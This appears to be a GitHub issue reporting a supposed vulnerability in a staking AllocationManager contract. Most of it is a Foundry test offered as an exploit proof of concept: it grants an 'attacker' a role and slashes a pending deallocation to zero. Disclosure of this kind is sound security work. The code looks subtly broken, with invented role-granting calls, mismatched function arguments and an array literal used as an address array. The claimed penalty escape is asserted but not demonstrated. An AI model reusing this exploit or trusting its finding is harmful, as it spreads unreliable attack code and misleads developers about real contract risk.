Skip to content

Pending Deallocation Manipulation in AllocationManager #1249

@Itunuolu

Description

@Itunuolu

This vulnerability allows manipulation of the pending deallocation calculation during slashing, potentially allowing operators to escape deallocation penalties.

`pragma solidity ^0.8.27;

import "forge-std/Test.sol";
import "../../src/contracts/core/AllocationManager.sol";
import "../../src/contracts/core/DelegationManager.sol";
import "../../src/contracts/permissions/PauserRegistry.sol";
import "../../src/contracts/permissions/PermissionController.sol";
import "../../src/contracts/strategies/StrategyBase.sol";

contract PendingDeallocationManipulationExploitTest is Test {
AllocationManager public allocationManager;
DelegationManager public delegationManager;
PauserRegistry public pauserRegistry;
PermissionController public permissionController;
StrategyBase public mockStrategy;

address public owner = address(0x1);
address public operator = address(0x2);
address public avs = address(0x3);
address public attacker = address(0x4);

uint32 constant DEALLOCATION_DELAY = 7 days / 12; // 12 seconds per block
uint32 constant ALLOCATION_CONFIGURATION_DELAY = 1 days / 12;

function setUp() public {
    // Deploy contracts
    pauserRegistry = new PauserRegistry(owner);
    permissionController = new PermissionController(owner);
    
    // Deploy mock strategy
    mockStrategy = new StrategyBase();
    
    // Deploy DelegationManager with minimal setup
    delegationManager = new DelegationManager(
        IStrategyManager(address(0)), // Mock addresses
        IEigenPodManager(address(0)),
        IAllocationManager(address(0)),
        pauserRegistry,
        permissionController,
        1 days,
        "v1.0.0"
    );
    
    // Deploy AllocationManager
    allocationManager = new AllocationManager(
        delegationManager,
        pauserRegistry,
        permissionController,
        DEALLOCATION_DELAY,
        ALLOCATION_CONFIGURATION_DELAY,
        "v1.0.0"
    );
    
    // Initialize contracts
    vm.startPrank(owner);
    allocationManager.initialize(owner, 0);
    
    // Setup permissions
    permissionController.grantRole(keccak256("ALLOCATION_MANAGER_ADMIN"), owner);
    permissionController.grantRole(keccak256("AVS_ROLE"), avs);
    
    // Register operator and create operator set
    vm.startPrank(operator);
    delegationManager.registerAsOperator(address(0), 1 days, "metadata");
    vm.stopPrank();
    
    vm.startPrank(owner);
    allocationManager.createOperatorSet(avs, 1, "Test Operator Set");
    allocationManager.addStrategiesToOperatorSet(avs, 1, [address(mockStrategy)]);
    vm.stopPrank();
    
    // Register operator to operator set
    vm.startPrank(avs);
    allocationManager.registerOperatorToSet(operator, 1);
    
    // Setup initial allocation
    AllocationManager.AllocateParams[] memory params = new AllocationManager.AllocateParams[](1);
    params[0] = AllocationManager.AllocateParams({
        operatorSetId: 1,
        strategy: mockStrategy,
        magnitude: 1000
    });
    allocationManager.modifyAllocations(operator, params);
    vm.stopPrank();
}

function testPendingDeallocationManipulation() public {
    // Step 1: Create a pending deallocation
    vm.startPrank(avs);
    
    // First, deallocate some shares to create a pending deallocation
    AllocationManager.AllocateParams[] memory deallocParams = new AllocationManager.AllocateParams[](1);
    deallocParams[0] = AllocationManager.AllocateParams({
        operatorSetId: 1,
        strategy: mockStrategy,
        magnitude: 500 // Deallocate half of the allocation
    });
    
    allocationManager.modifyAllocations(operator, deallocParams);
    
    // Get allocation info after deallocation
    bytes32 operatorSetKey = OperatorSetLib.createKey(avs, 1);
    (AllocationManager.StrategyInfo memory infoBefore, AllocationManager.Allocation memory allocBefore) = 
        allocationManager.getAllocation(operator, operatorSetKey, mockStrategy);
    
    console.log("Current magnitude after deallocation:", allocBefore.currentMagnitude);
    console.log("Pending diff after deallocation:", int256(allocBefore.pendingDiff));
    console.log("Effect block after deallocation:", allocBefore.effectBlock);
    
    // Verify we have a pending deallocation (pendingDiff should be negative)
    assert(allocBefore.pendingDiff < 0);
    
    // Step 2: Prepare for the exploit - give attacker AVS role
    vm.stopPrank();
    vm.startPrank(owner);
    permissionController.grantRole(keccak256("AVS_ROLE"), attacker);
    vm.stopPrank();
    
    // Step 3: Execute the exploit - slash with carefully calculated wadsToSlash
    vm.startPrank(attacker);
    
    // Calculate a wadsToSlash value that will result in pendingDiff becoming zero
    // The calculation in the contract is:
    // slashedPending = uint64(uint256(uint128(-allocation.pendingDiff)).mulWadRoundUp(params.wadsToSlash[i]));
    // allocation.pendingDiff += int128(uint128(slashedPending));
    
    // If we want pendingDiff to become 0, we need:
    // slashedPending = -pendingDiff
    // So: uint256(uint128(-pendingDiff)).mulWadRoundUp(wadsToSlash) = -pendingDiff
    // Therefore: wadsToSlash = 1 WAD
    
    AllocationManager.SlashingParams memory slashParams = AllocationManager.SlashingParams({
        operator: operator,
        operatorSetId: 1,
        strategies: new IStrategy[](1),
        wadsToSlash: new uint256[](1),
        description: "Exploit"
    });
    
    slashParams.strategies[0] = mockStrategy;
    slashParams.wadsToSlash[0] = 1e18; // 1 WAD - should slash 100% of the pending deallocation
    
    // Execute the exploit
    allocationManager.slashOperator(avs, slashParams);
    
    // Step 4: Verify the exploit - check if pendingDiff is now zero or close to zero
    (AllocationManager.StrategyInfo memory infoAfter, AllocationManager.Allocation memory allocAfter) = 
        allocationManager.getAllocation(operator, operatorSetKey, mockStrategy);
    
    console.log("Current magnitude after slashing:", allocAfter.currentMagnitude);
    console.log("Pending diff after slashing:", int256(allocAfter.pendingDiff));
    console.log("Effect block after slashing:", allocAfter.effectBlock);
    
    // If pendingDiff is now zero or close to zero, the exploit worked
    if (allocAfter.pendingDiff == 0 || 
        (allocAfter.pendingDiff > allocBefore.pendingDiff && allocAfter.pendingDiff < 0)) {
        console.log("VULNERABILITY CONFIRMED: Pending deallocation was manipulated");
    } else {
        console.log("Exploit failed - pendingDiff was not manipulated as expected");
    }
    
    vm.stopPrank();
    
    // Step 5: Fast forward to when the deallocation should take effect
    vm.roll(block.number + DEALLOCATION_DELAY + 1);
    
    // Step 6: Check if the deallocation was properly applied
    (AllocationManager.StrategyInfo memory infoFinal, AllocationManager.Allocation memory allocFinal) = 
        allocationManager.getAllocation(operator, operatorSetKey, mockStrategy);
    
    console.log("Final current magnitude:", allocFinal.currentMagnitude);
    console.log("Final pending diff:", int256(allocFinal.pendingDiff));
    
    // If the exploit worked, the final magnitude would be higher than expected
    // because the pending deallocation was partially or fully cancelled
}

}`

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions